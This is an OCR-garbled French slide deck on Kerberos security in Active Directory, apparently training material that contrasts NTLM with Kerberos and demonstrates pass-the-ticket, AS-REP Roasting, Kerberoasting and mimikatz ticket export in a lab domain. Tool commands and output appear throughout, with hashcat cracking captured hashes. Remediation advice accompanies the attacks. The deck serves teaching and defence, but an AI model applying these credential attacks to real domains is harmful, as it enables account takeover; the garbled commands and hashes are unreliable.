Sécurité du protocole
Kerberos

(environnement Active Direcory)




Authentification Windows - Active Directory

NTLM (NT Lan Manager) :

Protocole d’authentification historique implémenté par Microsoft en 1993 avec Windows NT 3.1
Toujours implémenté dans Windows aujourd’hui et dans ses prochaines versions

Considéré comme vulnérable, en particulier du fait de ses faiblesses en matiére de chiffrement des secrets
Utilisé dés lors que Kerberos n’est pas disponible

Intégré a la listes fonctionnalités dépréciées et vouées a disparaitre par Microsoft en juin 2024

Kerberos :

Protocole d'authentification par défaut et a privilégier, implémenté dans Xindows en 2000 (il a été créé par le
MIT en 1988 et n'est pas réservé au systéemes Windows)

Permet de gérer I'authentification sur différents services, sans avoir besoin de communiquer les informations
d’authentification (identifiant + mot de passe) a chaque service

Utilise le compte de domaine Active Directory krbtgt pour la génération des tickets d’authentification

Se base sur le temps pour la génération de tickets, le client, le serveur de clés (KDC porté par le DC) et le serveur
portant le service auquel le client souhaite accéder doivent avoir une horloge synchronisée

Pré-authentifications (TGT) non tracées dans les journaux des contréleurs de domaine par défaut

Peut facilement étre affaibli en cas de mauvaise confiquration d'un compte utilisateurs
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L'authentification Kerberos

Les étapes :

* L'utilisateur s’authentifie [identifiant + ( timestamp + condensat du mot de passe)] aupreés du service Kerberos
du contréleur de domaine (KDC - Key Distribution Center) via une requéte de type KRB_AS_REQ

* Le KDC fournit un TGT (Ticket-Granting Ticket) autorisant I'authentification dans une requétes KRB_AS_REP

e L'utilisateur effectue une demande d’accés au service (SPN — Service Principal Name) souhaité a lI'aide du TGT
recu via une requéte KRB_TGS_REQ

* Le KDC lui fournit un TGS (Ticket Granting Server) permettant d’accéder au service demandé

‘ : KRB_AS_REP

/\ Authentification
KRB_TGS_REQ g OK a
KDC

Utilisateur KRB_TGS_REP %
E —
Q/
il

Active Directory

AS REQ %Requéte illégitime
. KRB_AS_
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O L’authentification Kerberos + accés au service / a I'application

A noter :

* L’authentification Kerberos nécessite | |
I'utilisation de noms (FQDN) de machines
pour se connecter. L'authentification a une
ressource / un servie via son adresse IP n’'est
pas possible, contrairement a NTLM.

Authentication Server

(AS) O 3 |

DATABASE |

Client

Ticket Granting Server |

TGS_REQ (TGS) |

TG5_REP

Application Server

Source : MIT / Kerberos Consortium
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Visualisation des tickets

Visualisation des tickets :

* Les tickets TGT et TGS peuvent étre visualisés a I'aide de la commande klist native sous \Xindows
EX Windows PowerShell - m}

LogonId bad
Tick is en cache

Client : admin_t2

wable pre_authent name_canonicali

ial pre_authent name_canonical

nonicalize
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Renouvellement des tickets

Renouvellement des tickets :

* Les tickets TGT et TGS sont générés automatiquement lors d'un accés a un service dont I'authentification est
basée sur Kerberos

* lIs peuvent étre effacés a I'aide de la commande klist avec I'option purge

<=
admin_t2_cbr> klist.exe ge Acuel  Patage  Affichage
A4 . » Réseau > pcll > fest v O Rechercher dans : test
= l d Ij t'4 Ij . . EX Windows PowerShell
= v _ o i 3 Accés rapide
3 ion de tou: . B Bureau Copyright (C) Microsoft Corporation. Tous droits réserves.
= —A—E (7
t supprimel & Teléchargement: PS \Users\admin_t2_cbr> klist.exe
Fi - - - ] e - .
PS5 C:i\Use dmin_t2_cbr> kl i i Documents LogonId est 0:0x32de7
= Images
Tickets mis en cache : (2)
LogonId es (lads & OneDrive
> Client : admin_t2_cbr @ WOUNDRIDE.LOCAL
@ cepc Serveur : krbtgt/WOUNDRIDE.LOCAL @ WOUNDRIDE.LOCA
Tick is en cache Type de chiffrement KerbTicket : AES-256-CTS-HMAC-SHA1-96 ‘
T - . - = Réseau Indicateurs de tickets 0x40el0000 -> forwardable renewable initial pre_authent name_canonica
P5 C: admin_t2 . _ .
- — Heure de démarrage : 2/12/2025 22:15:36 (Local)
Heure de fin : 2/13/2025 8:15:36 (Local)
Heure de renouve]?ement f19/2025 22:15:36 (Local)
Type de clé de session : AES-256-CTS-HMAC-SHA1-96
Indicateurs de cache : Oxl - RIMARY
KDC appelé : wW2019-DCO1.woundride.local
: admin_t2_cbr @ WOUNDRIDE.LOCAL
: cifs/pcll @ WOUNDRIDE.LOCAL
Type de ch1fftement KerbTicket : AES-256-CTS-HMAC-SHAL-
Indicateurs de t1ckets 0x40al10000 rwardable renewable pre_authent name_canonicalize
Heure de démarrage : 2/12/2025 22 6 (Local)
Heure de fin : / 3 (Local)
Heure de renouve]?ement 22:15 (Local)
Type de clé de session : AES-256-CTS-HMAC-SHAL-96
0 élément(s) Indicateurs de cache : 0

C appelé : W2019-pDc0l.woundride.local
PS C:\Users\admin_t2_cb
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woundride.local/admin_t2_cbr -c ip w2@19-dc@1
Impacket v@.12.@ - Copyright Fortra, LLC and its affiliated companies

Password:

[*#] Saving ticket in admin_t2_cbr.ccache

admin_t2_cbr.ccache
Impacket v@.12.@ - Copyright Fortra, LLC and its affiliated companies

Number of credentials in cache: 1
Parsing credentiall[e]:
Ticket Session Key : afd5518820e4420d2b1af8b33d63acd319960808892721531c2c@1b57070e577
User Name : admin_t2_cbr
User Realm : WOUNDRIDE.LOCAL
Service Name : krbtgt/WOUNDRIDE. LOCAL
Service Realm : WOUNDRIDE.LOCAL
Start Time : 16/02/2025 23:56:06 PM
End Time : 17/02/2025 ©9:56:06 AM
RenewTill 1 17/02/2025 23:56:06 PM
Flags : (@x50c10000) forwardable, proxiable, renewable, initial, enc_pa_rep
KeyType : aes256_cts_hmac_shal_96
Base64(key) : Tr9VRiCDkQgOrGvizPWOs@xmWCALJIy9THCWBLXBWIXC=
Decoding unencrypted data in credential[@]['ticket’]:
Service Name : krbtgt/WOUNDRIDE.LOCAL
Service Realm : WOUNDRIDE.LOCAL
Encryption type 1 aes256_cts_hmac_shal_96 (etype 18)
] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but no keys/creds were supplied

KRB5SCCNAME=admin_t2_cbr.ccache woundride.local/admin_t2_cbhr\@pci2
Impacket v@.12.@ - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands

# use c$

# 1s

drw-rw-ru- @ Sun i16: $Recycle.Bin
drw-rw-rw- @ Wed Hi Documents and Settings
-rw-rw-rw- 2013265920 Sun A pagefile.sys
drw-rw-rw- o Wed :56: PerflLogs

drw-rw-ru- Sun 124: Program Files
drw-rw-ru- Sun S22 Program Files
dru-rw-ru- Sun Hallrd ProgramData
drw-rw-rw- Wed t59: Recovery

-rW-rw-ru- 26843545 Sun A swapfile.sys
drw-ru-ru- sun H 1 H System Volume Information
drw-rw-rw- Sun Hali i Users

dru-rw-ru- Thu H'3 Windows

L |

cesdoee e
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Attaque de type AS_REP Roasting

Faiblesse de configuration :

* La « pré authentification » Kerberos est volontairement désactivée pour un / des utilisateur(s)

* Action parfois nécessaire au fonctionnement de certaines applications tierces dont I'authentification est basée
sur I’AD (exemples : solution de type SSO, authentification depuis un serveur Linux / Unix...)

* Les comptes pour lesquels cette faiblesse est introduite peuvent souvent avoir des priviléges élevés sur I’'AD

Rule ID:
S-NoPreAuthAdmin

Description:

The purpose is to ensure that all admin accounts require Kerberos pre-authentication

Technical explanation:

Without Kerberos pre-authentication, an attacker can reguest Kerberos data from the domain controller and use this data 1o brute-force the account password. You can search accounts

using the LDAP query (userAccouniControl1.2.840.113556.1.4.803.=4184304)

Advised solution:
Edit the property of the involved accounts and select the Account tab. Uncheck "Do not require Kerberos preauthentication”. For computers, which don't have the Account tab, you
have to manually edit the attribute useraccountcontrol. Subtract 4194304 from the value of the attribute

Points:

5 paints per discovery

Documentation:

o
Si compte a priviléges : Vulnérabilité de niveau 1 ADS

Proprigtés de: [Admin de domaine] Charles BLANC-ROLIN ? *

Environnement ~ Sessions ~ Contrdle & distance  Profil des services Bureau a distance  COM+
Général Adresse Compte Profl  Téléphones Organisation Membre de  Appel entrant

MNom d'ouverture de session de |'utilisateur :

‘admin_dam_cbr | @woundride local e

MNom d'ouverture de session de |'utilisateur (antéreur 8 Windows 2000) :
|WOUNDRIDE: | [admin_dom_cbr

Horaires d'acces.... Se connectera..

[] Dévermoiller le compte

Options de compte :

[ Wiiser uniquement les types de chiffrement DES via Kerberos pour ce compte
[JCe compte prend en charge le chiffrement AES 128 bits via Kerberos

via Kerberos
La pré-authentfication Kerberos n'est pas nécessaire v

Date d'expiration du compte
®) Jamais
(O Finde: vendredi 5 juilet 2024

Annuler Appliquer Aide
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& windows Powershell X + o~

s\admin_t2_cbr\De

Les étapes :

* L'attaquant recherche les comptes pour lesquels la pré authentification
Kerberos est désactivée

* Il émet une requéte de type KRB_AS_REQ aupreés du service Kerberos du
contréleur de domaine (KDC) pour le(s) compte(s) concerné(sj

* Le KDC lui retourne un TGT (non réutilisable directement) i e . e Local /oc-woundride, DC=local.

* L'attaquant peut alors tenter de casser le mot de passe a partir du §& e - aie T2 urinss
condensat contenu dans ce dernier '

* L’attaquant peut tenter de réutiliser le ticket pour s’authentifier

‘ KRB_AS_REQ gi‘ Requéte illégitime
- KRB_AS_REP :
Attaquant

Non ]
authentifié Active Directory
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Attaque de type AS_REP Roasting

user.txt

- i woundride.local/ serstfile user.txt -dc-ip 192.168.46.2
format hashcat -ocutputfile hash.txt
Impacket v@0.12.8 - Copyright Fortra, LLC and its affiliated companies
fusr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime. sudo 18200 @ hash.txt rockyou.txt
datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezo hashcat (v6.2.6) starting
ne-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). . . .
z £ = = Dictionary cache built:
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) ot BT TR o P T AT e
$krb5asrep$23$c.blanc-rolin@WOUNDRIDE. LOCAL :2bb3211d65ce31d874a478164fc7al148%71d4cd0ck6e9 W + passwords.: 14344391
24323c390044e055212d8501c3ccbb667d94cff75558ca54e@2ffelbccd69abc0f7del3e8chc9dbe2i8des122 * + 139921497
014d0ag8955b17d352d2435add995c279b0280F4feb50da631b7ee1c2d576dda555a743bch7b29435745F4dde7 |l ~ gsmige 2142:3?3“
déefbdc@bBB75FfA3calsd7747aB0cof7906cchBc@e9?adbbicd343F22380Fda2068d27b7cbbdf77d82ef5dbl e
fdcbB8289aP583e71c96898%eb5aff2b9176d389c2d2de7b57417c4929c8add6394d9c199 T80 ff@650b6LA9DLL $krb5asrep$23%c.blanc-rolin@WOUNDRIDE . LOCAL :dc3236cefSacchbb5d90d4d390d70e17$370552ce90e8095809¢
b1b273cdd70d1369chd5d8cdddd2ba?abtf0172c92a%4ae@3dedb1349dc2fde11bdaf6afaf10focfdasedlasdb [l c574f80fofc42b7833052405d50380580684451Fb3ef02F7932644178d5c2d6F462279ad5614a7c79b2d14820891Fha2
fFfoce2f7580f7acebibbc20aaff 27c8e73be69d2977f2eaded4ablabaleec60379ca7c92d3384Fd01604df26a36d5d6666Cc4dacc2c830f780a758047be3
896@c16d33f071bet7fe77ae079a8c2d9@ealb9dt129c9054daaf2f8029e6b6e50a55ab%easf8a54c26a104968cfabsa
0d3b9e6b2a87343b1ac15ffO0e8fa8784centb3486T036F49ebaB01fcBec11babi765Fe18acc90f243fdL671b5F6110341
aad579088facc4c2caa2f1aa920c4318721568749caefleedf f30c15329a4e6d687 fef244151e8545: PA55wOrd

: hashcat

Hash.Target ... 188545
Time.Started : Wed Feb 12 23:00:06 2025 (@ secs)

Time.Estimated ... : Wed Feb 12 23:00:06 2025 (0 secs)

Kernel.Feature ... : Pure Kernel

Guess.Base : File (rockyou.txt)

Guess.Queue 1 1/1 (100.00%)

Speed. #1.........: 505.4 kH/s (1.19ms) @ Accel:512 Loops:1 Thr:l Vec:8
Recovered : 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress : 190464/14344384 (1.33%)
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Attaque de type Kerberoasting

Faiblesse de configuration :

* L’attribut ServicePrincipalName (SPN) est défini pour un compte utilisateur

* Action parfois nécessaire au fonctionnement de certaines applications tierces dont I'authentification est basée
sur I'AD (exemples : solution de type SSO, VMware Enhanced Authentication Plugin (EAP) déprécié depuis
février 2024 (https://knowledge.broadcom.com/external/article?legacyld=96442) )

* Les comptes pour lesquels cette faiblesse est introduite peuvent souvent avoir des priviléges élevés sur I’'AD

Propriétés de : [Admin de domaine] Charles BLANC-ROLIN ? x

Cerficats publiés ~ Membrede  Réplication de mot de passe  Appelentrart  Objet
Sécurté Environnement Sessions Contréle & distance
Général  Adresse  Compte  FProfil Téléphones  Délégation  Organisation
Profil des services Bureau 4 distance COMs Editeur d'attributs

Agtrbuts -

Agtribut Valeur ~
sAMAccountMName  admin_dom_cbr

805306368 = NORMAL_USER_ACCOUNT
<non défini>

<
<non défi
<

shadowLastChange
shadowMax

shadowMin
<

Modifier Fitrer

- . e ap s . eyl . . Annuler Appliquer Ade
Si compte a priviléges : Vulnérabilité de niveau 1 ADS

© Charles BLANC-ROLIN Version 1.1 -2026 .::


https://knowledge.broadcom.com/external/article?legacyId=96442

Les étapes :

* L’attaquant recherche les comptes pour lesquels I'attribut
SPN est défini

* Il émet une requéte de type KRB_TGS_REQ auprés du
service Kerberos du contréleur de domaine (KDC) pour
le(s) compte(s) concerné(s)

admin_

* Le KDC lui retourne un TGS (non réutilisable directement) woundxide, 0

* L'attaquant peut alors tenter de casser le mot de passe a
partir du condensat contenu dans ce dernier

o

KRB_TGS_REQ 8 Requéte illégitime

g KDC
;/

a Eja
authentifié L]

Active Directory

© Charles BLANC-ROLIN Version 1.1 -2026 .::

£ T

Attaquant




® Attaque de type Kerberoasting

EN Administrateur :

PSs C:\Wsers\c.blanc-rolin\Desktop> setspn
\Vérification du domaine DC=woundride,DC=local
CH ©919-DCO1,0U=T@_DC,0U=T@,0U=_Ordinateurs,DC=woundride,DC=local
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB84/1W2019-DCO1 . woundride . local
-04R8UOF SGOH/WOUNDRIDE
-04R8UOFSGOH/woundride.local
N-04R8UOFSGOH/ForestDnsZones .woundride.local
-04RBUOFSGOH/WOUNDRIDE
©19-DCO1/ForestDnsZones .woundride.local
-04R8UOFSGOH/DomainDnsZones . woundride.local
12619-DCO1/woundride. local
ldap/wW2619-DC@1/DomainDnsZones.woundride.local
GC/W2019-DCO1/woundride.local
-04R8UOFSGOH/woundride.local
1-04R8UOFSGOH/woundride. local
i2019-DCe1/woundride. local
ictedKrbHost/WIN-04R8UOFSGOH
-04R8UOFSGOH
N-04RBUOFSGOH
©19-DCe1/WOUNDRIDE
619-DCe1,/WOUNDI E
©19-DCe1.woundride.local/ForestDnsZones.woundride.local
2819-DCO1 .woundride. local/DomainDnsZones.woundride. local
DNS/W2819-DCO1.woundride.local
GC/W2019-DCO1.woundride.local/woundride.local
RestrictedKrbHost/W2819-DCe1.woundride.local
/W2019-DCo1
i2019-DCO1 .woundride. local/WOUNDRIDE
819-DCel
©19-DCe1.woundride.local
.woundride.local/woundride.local
-woundride.local/WOUNDRIDE

woundride.local

-woundride.local
.woundride.local/woundride.local
RPC/c7d48df8-126f-4467-82aa-1988cdb43538._msdcs.woundride.local
E3514235-4B66-11D1-AB84-8@C84FC2DCD2/ c7d48df8-126F-4467-82aa-1988cdb43530/woundride. local
ldap/c7d48df8-126f-4467-82aa-1988cdb43530._msdcs.woundride.local
t,CN=Users,DC=woundride,DC=local
kadmin/changepw
Ce1,0U=T2,0U=_oOrdinateurs,DC-woundride,DC=1local
RestrictedKrbHost/PCa1
Admin T@] Charles BLANC-ROLIN,OU=T@_ Administrateurs,0QU=T@,0U=_Utilisateurs,DC=woundride,DC=
rpcss/test

existant détect

© Charles BLANC-ROLIN

1 Action: Kerberoasting

NOTICE: AES hashes will be returned for AES-enabled accounts

tdeleg to force RCA_HMAC for these accounts

] Searching the current domain for Kerberoastable users

] Total kerberoastable users : 1

ounthame
nguishedName
ServicePrincipaliame
PudLastSet
Supported ETypes
Hash

: admin_te_cbr
: CN=[Admin T@] Charles BLANC-ROLIN,QU=T@_Administrateurs,QU=T@,0U=_Utilisateurs,DC=woundride,DC=local

rpcss/test

i 94/01/2025 21:04:54
: RCA_HMAC DEFAULT
: $krbStgs$23%*admin_te_cbrfwoundride.local§rpcss/test*$A3281E4380F888AS54BDCARITE

B3B65ESB40979AABAE4GB45BEDAEC64876F 229A8CA3E444CB51B2EF4BBESAFCS5ABD273
DD@34FA48AESFAEA115ED73DF64BF8500A22A7CABGER95C7DICT 26D4ADCC2F2358F42C
CDCBFE64AO6CAEST4B42D99EDCA32E7BBBABTAC6225APCBBBA22588E2817853888554A06A893DB27
638C39A7FBADCS137E81AEIABB99F1591AB1CECS63EBFASAF6DEDA28457AB1D822682D2B7DES3SER
OBE61F1D81420C2C4FFD28725C57FCEEQ40B4ERERB2F2B35CO1EFD7BDE34@41ECGBAE2ETCAFEGTLLT
9E177B881DDF5598545CESASC387C64A9952FC7D1C843758A8271ATACBI1CECBBAI2889D537F1544
EF92771CDBFO2BOCSEOE2EGBEFDFEBE83784A7203707CA46718D04E686@1CEOFDEROD295SBFOACSA2
32EB53C3BF6FESAE2FFFEB18FFEO23380512CFO10ESSFIE7B6291174455FF6BEF671B3B67B4B6175
905421D81EE1F3BEG318DESS528E67C3F2FERB1ATD34B7CS. 1775895422776445D58DASE63BCTE
C7DF716CCA449B547 26938E32C5BDF74736F FEDE285CCCA25DCAB79A958587 7B5465A508DF FAEISE
D2FB61FED32E7FACEQA93CAG1052878730FAFEFBAOEESE24B39E381281135682C1EB9599F76E12E2
BFB4A459A5EI162797A7CBATDE1117B69B9138ADAC4372A46017260530F3E70BOBE3AFASE4AD2F64F
C121535C6EB3411D439C87D45D335C99EE174EF73A2354FBCE11FEBAB6874B1CDDI9CEFABBCBIA3L
FE4ABFE71397063FDA337CO68ECA7EBFFAD896DBF261977200AF8
AA542FE6636C7BFCTE9E498DBA9CA113459C@97ASCEDT EGIEFSASA)
3EBAB157DE81E8A4AFRAFEGAGDDG546014E4EDD292503ADFDAGDG
E348146CBOF6717F751517A8D193F2C4DSDF9382B45185C4960A92D8
86C243F5CF8OFAE230DB7CAD7EGDD255@FEDA3
B575234C15ECOFFCA2F 2D9812256607B413F 778DF@585:
2B26441D7BCB194162EFO061600EFEB812DS5E AA
EB21194A458BD740188EA9B4ECEF@BF74
E92333A70834A7054128D1A6DBCB68F0A464ES6DDEFAES493844FAFFOABCOO7FEF324E019B8C2D7360
2915038C71F822EB33ACBCCIEAEDF7BCE9444DCSAADEASBSBB155353CDBID8ASBCDBEB384DEEGALS
4B9CCacess
52F648D21F
8796B5373EESB51B47CD8396AAB356C5A4F 7D57CACBASFEDISES2882 EBFDD6BAJ4CSBBEF2EADBE4A
BOE2DSEECO31D514320DDEASE F8F50495 B8OAG66F8F55F4C5ED1306CAD7ABIC786CA78CBD3T7
95CC78F8F672BFF1BEC3F37648D859620DA1750362AE162BEB7B9ABC5982D153228C54EFDA26EB10
BA33D957838BFBD7842BADBB3D2ABEFAT75950827243B84732D06B63882FB62CD594297

PS C:\Users\c.blanc-rolin\Desktop>
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Attaque de e Kerberoastin
P-4 q typ g

t de passe avec Hashcat :

1 J woundride.local/c.blanc-rolin ) 192.168.46.2
Impacket v@.12.0 - Copyright Fortra, LLC and its affiliated companies

[sudo] password for kali:
hashcat (v6.2.6) starting

Password:

ServicePrincipalName MName MemberOf Qic;ionarv cache hit:
PasswordlLastSet LastLogon * E;Ei:g::;‘: i:;zxg;ATXt
Delegatlon * Bytes.....: 139921497
* Keyspace..: 14344384

$krbstgs$23%+admin_t@_cbr$WOUNDRIDE.LOCAL$woundride.local/admin_t@_cbrx$c260fd9b69640d24
aaldf643d546ed0$36361d42e68bbde31be9ef75b51e3fddeaadd9227fd3df471e4df434c1bd2fesB5efe2d
8962d92df599d3eca8f4412c6cibb35f7e338batbf65269a8c102e762e5820ect1a928937562e7a86aa65622
240cbee®f@618329319710158bb32f39bcc450c7f3fe8ealad28a2e953aac2f9ede80968b00L697 feflaelfh
593a913e5207a756b9760fe@c71f4e6559f5dc97cfd68930fd5198d0d7b01dc@bfbd75c66f9230d0e366ed8a
4280eb7aab25cB8ef282616e5f2ee555c623677beeb20be2d0c72887256420dc7755F00aBeb60559d63debb12
ea82e@c2b75e8addcb956e32373d9782ak46e1b95c4f21fa92d2f7dc937c8da5b@baabe7d87248d9e933b09cd
ed774c73b7502176b36b6475FF7452581b7958d9b377181b8c48be5f8487F15a48c178adc02d5c2cbfdabs77
381be9d35eeb266ae07103855e8e1706679F9d9ef2037b4a84d1a6d908d695afcd07629174F8bseaef15ebf7
3570461e21ccck91b69Fbcb78635Fbf230c736e4Fd748810f8e1335dcc7adec318dB8e530e677e6cfide729e
894271badb79046ch27116eaa7692980c6f7937F883fe4f4834706ed5h2eleal73e3f63eb28a0300af cd6F40
808d353e16285c94193c6e5457a43294eab82b817c968ad82ed09914aees895cH25255cF049c73b6794206e
b2da3ad5376b5930ec9eebdfbBO6B663c435305dfa050db70ae898bF72333c00ab536149c0d9199bb2e565a3
5a@l@4e88e5a7d731766daalede2d3d05955a638bF22c5238cc875b3bbab7e5c8c6532474cd7c83984b66bd6
ac3cfa5d29b70c2d737fe9461acd494al9ceTede7dbIch75881e523312fekbb52e5bck82a5calb7296a5e57F1
5c31150718f07b609f5e748808af6e840b7e3e83978d15fba73f1lc7e7c70c1le324e1206eb0a522761b106256
84002c7ef1f045ec14399ec91afer09747aa3e5ed606dd49de7ab93ff8d3el1fefa22c95cece9dcd723d3830
bebeb48c3esfiltSee8ea7653741f03c95d369f9d627899e3cB8180ebafo4b2e4fRabT7e34784a74d785d8636d1
193d6516d18c1b@9bb6263a10fed689c6074a60F8ees7he3061felcecd3563df423cL0e98feB76448a0d1978
dd88b687ed1fbc52096244F3733eda79b0947b4c6ba76832d28ad02247865ddfe752cdb21505a53dcab10755
04807f100f02ca2f6625eee00b03a8599591074 Ffdcd4f1b20b305c518e445e2cc50919d287a9762ec2cbb110
ddae93617b912079ed38563d67a0e420df72874221761087032790ebf75e95f3c8b6ebcff5ce95bafl4b13sa
7bc53e4b6c4293d0355bc@827419ac6b58a258Fd3aan8d7b12bf14a1a9eb7a3098e5c1017666294f6dag2ed?
f23a20ca7d8cc9921739984afb41792123F51fc2c880554f leffesbl45f9dest9etdbeladc50f4f5c8dd8LT7a
87cbe@dlafb702b75298fdd754783ad7e30b12d31be6697a7c447bd31et : PR55werd

vmware/vmware admin t@ cbr CN=PropriA®taires crA®ateurs de la stratﬂ@gie de grou
pe,CN=Users,DC=woundride,DC=local 2025-01-04 22:04:54.143460 2025-02-13 00:23:13.387688

$krb5tgs$23%+admin_t@_cbr$WOUNDRIDE.LOCAL$woundride.local/admin_t@_cbr+$e@d63c4f8b903cbls
a@fLtc346a7807a5%53fb6206b24d3d1b2c9e23e3f31528046d7b14ab485af2db9afb2f86f78a737612e63acaca
8ce@d7771a55d2189503d8969%9e01eaal6d3c@9e958fac89f844e55f6ec132333e092129178187abRee51%9ad06
9090ae@4b2ddc24c76d383658121448db5f76a454303a99¢c32a2b88e4ea5223acdes6b96982b9d25ebaksdcaa
€8a32b9102d33d@97c50cPede7656ef4dee849d0547e72f7fe5b5fe7cbbecB3807058b9c308be%ac95250858fa
b2a6@c54f274c55a9c8182a387c862aftal7fee7e433d57171ebal74400861108b4sb61FEbd4Ta218c9795%alfc
afelc@df6ef3110682ff79e7301ce89d94fe7035fbBa04@be7d60b34465dad33becbebfo1cc3490c1867eaef7hb
f38dcc7a48671blatadd87bc8dd54b3d0456121d13885e92 4888260691 43e1d0a3b371fbad8bd980281dade
3a7517647f2e@5d5¢c5d23931305e@b591b0@9%ac7ccbacc9bd75df806a5865222488154989a782b542¢c3c0d5a2
ea7814f0e6abbebal2986e00eckB7712b6cB3e74ba3a0f3278c8bfcc20aec®5aedb6784F45bc5099F586680217
ack93@755ca495ccd2fB84ataled30abact3360fd8cOb264ccd383826a9fc3662d181e@be9e30398cc76e4188a
la474dafbeaabfled9cBecd25c30492694b90eaetdf251c8274b703710babt3974a0a8340ae49cf23110ae8632
f5859d1d969cf80c55c53a921db8bf84dac973919667dc6c21f95f7d10ca2fbd26424037f3894c6b74463379e
bB6414ca3lefbaf9d76c5c238ee25d8b27db8cBe8f875F055f6d02e76cc3e945F16022c366feb942bf15¢2963cf
704e9ee00b30bbielet@6f4496F63d4725c9745b11bb732826686de0a%e00c53869e26@3e0b1877b07d2546¢C2
ec6c8034e67bd34cc60591a5f flata@deafc9a0d@a25ebl69f82f3f9916a0cff1bc11015db2674381bfdcalsl
8f574ebed294c8dc6545e17b76d22a67ef1dbl11bdc2971d403F5050c239d607c7bc1c@356a8e5827876eef416
cB3f94b9478Fd73f55e757ae44b23d13ef9d5ad06T6Ta2bi08650F01aede2ff4fEbeca2150ae3@b398066fcca
2a9eb5de%bce38e92a7ff222a3e55e584f91Ffobb806ci@lafbch5akect9d7a51d7f6010df8bebibdblechd3l
54bc5b985ee55de49ca5d702d667dbfcd5b3fe@c8102c831887e81b9a3e94198174904349821e05d5632d0e97
5b8770843eb54ffde8a36d1f251826e80c929351198a2047 1248273127 f6e8ddd9f022db0d46340d040e9b6T
427b487430baf2448f6c40dddB19a93302987d557cealt382fcB74c5c816cd31bf7787665658ch7d562922d532
4a83f00434a09f8e0aaf7045511d6b21965f@1cf89a18301ffac8309f8a98ad32617747f6d438c53e209b28F8
37418cfc7b@72bb257cc8acd271fead72154690892218318e9328b5d6fdbd3885b1764602879c428c16eae88b
be3b9861d8b73facdd12201193da8ad333732e5863ea2b95b0b443aTb6T

: hashcat
: Cracked
13100 (Kerberos 5, etype 23, TGS-REP)

$krbstgs$23$+admin_t@ cbr$WOUNDRIDE.LOCAL$woundride ... bd31le4
: Thu Feb 13 ©0:30:37 2025 (1 sec)

Time.Estimated Thu Feb 13 ©0:30:38 2025 (@ secs)

Kernel.Feature Pure Kernel
Guess.Base.......: File (

Hash.Mode.
Hash.Target....
Time.Started...
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Attaque de type Kerberoasting

PingCastle_32..
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kerberoasting


S/ rimikatz 2,

HHE mimikatz 2.2.8 (x64) #19641 Jul 1 2821 @3:17:37

L~ ##. "A La Vie, A L'Amour” - (oe.eo)

#HF /N #F /*** Benjamin DELPY ~gentilkiwi® ( benjamin@gentilkiwi.com )
## O\ S HF > https://blog.gentilkiwi.com/mimikatz

iU Vincent LE TOUX ( vincent.letoux@gmail.com )
EEEEE > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug

Privilege "20° OK

mimikatz # kerberos::list - L ter admin_t2_chrgkrbtgt\ IDE . LOCAL- IDE.LOCAL.kirbi admin t2 chrakrbtgt\~WOUNDRIDE.LOCAL-WOUNDRIDE . LOCAL .ccache
Impacket v@.12.8 - Copyright Fortra, LLC and its affiliated companies

[eccce08e] - ©x0PEE8012 - 25256 hmac [*]1 converting kirbi to ccache ...

Start/End/MaxRenew: 12/62/2025 23:55:19 ; 13/02/2025 €9:55:19 ; 19/82/2625 23:55:19 [+] done
Server Name krbt K E.LOCAL @ WOUNDRIDE.LOCAL
Client Name : admin_t2_cbr @ WOUNDRIDE.LOCAL s =5

—! admin_t2_chrgkrbtgt\~WOUNDRIDE . LOCAL-WOUNDRIDE.LOCAL.ccache

Flags 48el0088 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; : : : s
b - Impacket v@.12.8 - Copyright Fortra, LLC and its affiliated companies

[eaoeeBEl] - BxB00808812 - aes256_hmac Number of credentials in cache: 1
Start/End/MaxRenew: 12/82/20825 23:55:20 ; 13/02/2025 ©9:55:28 ; 19/82/2825 23:55:20 Parsing credential[@]:
Server Name : LDAP/W2819-DCO1.woundride.local/woundride.local @ WOUNDRIDE.LOCAL Ticket Session Key : @
Client Name : admin t2 cbr @ WOUNDRIDE.LOCAL e L d R G

. X . User Realm : WOUNDRIDE.LOCAL
Flags 493506800 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; s (e : krbtgt/WOUNDRIDE. LOCAL

Service Realm : WOUNDRIDE.LOCAL
mimikatz # kerberos::list /export Start Time : 12/02/2025 23:55:19 PM
End Time : 13/02/2025 09:55:
- e _ RenewTill 1 19/02/2025 23:5
[999?99?9__ - .GXGGBBGG'lZ - _aeS_ZDDThm‘f\__ I _ . i I Flags : (0x40e10000) forwardable, renewable, initial, pre_authent, enc_pa_rep
Start/End/MaxRenew: 12/82/2825 23:55:19 ; 13/82/2025 89:55:19 ; 19/82/2625 23:55:19 KeyType . aes256_cts_hmac_shal 96
Server MName krbt WOUNDRIDE.LOCAL @ WOUNDRIDE.LOCAL Baseb4(key) : =
Client Name : admin_t2_cbr @ WOUNDRIDE.LOCAL Decoding unencrypted data in credentiall@]['ticket’]:
Flags 48el@666 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; el e : krbtgt/WOUNDRIDE. LOCAL

saved to file : B-28e10000-admin_t2_cbr@krbtgt~WOUNDRIDE . LOCAL -WOUNDRIDE . LOCAL . kirbi S R e

Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but no keys/creds were supplied

[eoeee081] - Ox0PEE8012 - 2es256_hmac
Start/End/MaxRenew: 12/82/20825 23:55:20 ; 13/02/2025 09:55:28 ; 19/02/2825 23:55:20
Server MName LDAP/W2@19-DC@1.woundride.local/woundride.local @ WOUNDRIDE.LOCAL
Client Name : admin_t2_cbr @ WOUNDRIDE.LOCAL
Flags 48a50008 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Saved to file 1 1-40a50000-admin_t2_cbr@LDAP~W2019-DCR1 . .woundride.local~woundride.local-WOUNDRIDE.LOCAL . kirbi
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c.blanc-

Impacket v@.12.8 - Copyright Fortra,
[ Number of credentials in cache:
Parsing credential[@]:
] Ticket Session Key
User Name
User Realm
] Service Name
1 Service Realm
Start Time
| End Time
